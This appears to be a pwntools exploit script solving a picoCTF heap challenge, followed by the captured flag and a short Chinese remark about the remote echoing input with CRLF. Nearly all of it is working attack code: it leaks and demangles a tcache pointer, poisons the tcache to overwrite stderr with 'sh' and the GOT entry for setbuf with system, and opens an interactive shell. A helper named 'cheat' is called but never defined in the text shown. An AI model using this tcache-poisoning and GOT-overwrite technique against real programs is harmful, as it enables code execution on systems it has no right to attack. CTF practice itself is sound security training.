def add_horse(idx: int, name: bytes, namelen: int = None):
    if namelen is None:
        namelen = len(name)
    io.sendlineafter(b"Choice: ", b"1")
    io.sendlineafter(b"? ", str(idx).encode())
    io.sendlineafter(b"? ", str(namelen).encode())
    io.sendlineafter(b": ", name)


def remove_horse(idx: int):
    io.sendlineafter(b"Choice: ", b"2")
    io.sendlineafter(b"? ", str(idx).encode())


def race():
    io.sendlineafter(b"Choice: ", b"3")


def demangle(obfus_ptr):
    o2 = (obfus_ptr >> 12) ^ obfus_ptr
    return (o2 >> 24) ^ o2


elf = ELF("./vuln")
if args.REMOTE:
    io = remote("saturn.picoctf.net", 58286)
else:
    io = process("./vuln")
    # io = gdb.debug(
    #     "./vuln",
    #     "\n".join(
    #         [
    #             "b sleep",
    #             "commands",
    #             "return",
    #             "c",
    #             "end",
    #             "gef config context.enable false",
    #             "c",
    #         ]
    #     ),
    # )
# need to have at least 5 horses to race
add_horse(15, b"X" * 0x18)
add_horse(16, b"Y" * 0x18)
add_horse(17, b"Z" * 0x18)
add_horse(0, b"A" * 0x10)
add_horse(1, b"B" * 0x10)
remove_horse(0)
remove_horse(1)
# [1] -> [0]
add_horse(1, b"\xff", 16)
add_horse(0, b"A" * 0x10)
race()
if args.REMOTE:
    # hack
    # when we send `3\n` to remote, remote will respond with `3\r\n`...
    assert io.recvline() == b"3\r\n"
io.recvline()  # name for 0
leak = io.recvline().strip(b" |\r\n")  # name for 1
print("LEAK", leak)
io.recvuntil(b"WINNER: ")
print("win", io.recvline())
print(leak)
ptr = demangle(int.from_bytes(leak, "little"))
print(f"{ptr = :#x}")  # points to name for 0


remove_horse(0)
remove_horse(1)
target = 0x4040E0  # cheated
print(f"{target = :#x}")
cheat(1, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(1, b"A" * 0x10)
add_horse(0, p64(target + 8) + b"sh".ljust(8, b"\x00"))  # write
# now stderr = "sh"

remove_horse(15)
remove_horse(16)
# [16] -> [15]
target = elf.got["setbuf"]  # 0x404040
print(f"{target = :#x}")
cheat(16, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(16, b"A" * 0x18)
# got table layout: setbuf, system, printf
resolve_system = 0x401096
add_horse(15, p64(resolve_system) * 2 + p64(0x401B90))

io.interactive()
# picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}

這題其實有個比較坑的地方是 remote 會把你輸入的東西 echo 回來,並且用 \r\n 而非 \n…。就其他人所說這是因為 remote 用 socat 的 pty mode 導致的結果…。